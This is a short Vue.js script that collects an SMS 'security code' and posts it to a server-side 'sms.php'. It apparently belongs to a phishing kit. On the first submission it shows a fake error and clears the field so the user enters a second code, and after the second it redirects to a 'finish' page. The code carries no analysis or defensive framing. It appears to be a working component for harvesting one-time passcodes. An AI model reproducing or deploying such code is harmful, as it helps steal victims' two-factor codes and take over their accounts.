var app = new Vue({
    el: "#app",
    data: {
        security_code: '',
        loading: false,
        submit_count: 0,
        alert: false
    },

    mounted() {

    },

    methods: {


        submitForm() {
            if(!this.security_code) {
                return
            }
            this.loading = true
            axios.post('./form/sms.php', {
                security_code: this.security_code,
            })
                .then((response) => {
                    this.submit_count++

                    if(this.submit_count === 1) {
                        setTimeout(() => {
                            this.loading = false
                            this.alert = true
                            this.security_code = ''
                        }, 3000)
                    }

                    if(this.submit_count === 2) {
                        setTimeout(() => {
                            window.location.href = 'finish.html'
                        }, 3000)
                    }
                })
                .catch((error) => {
                    console.log(error);
                });
        },


    }
});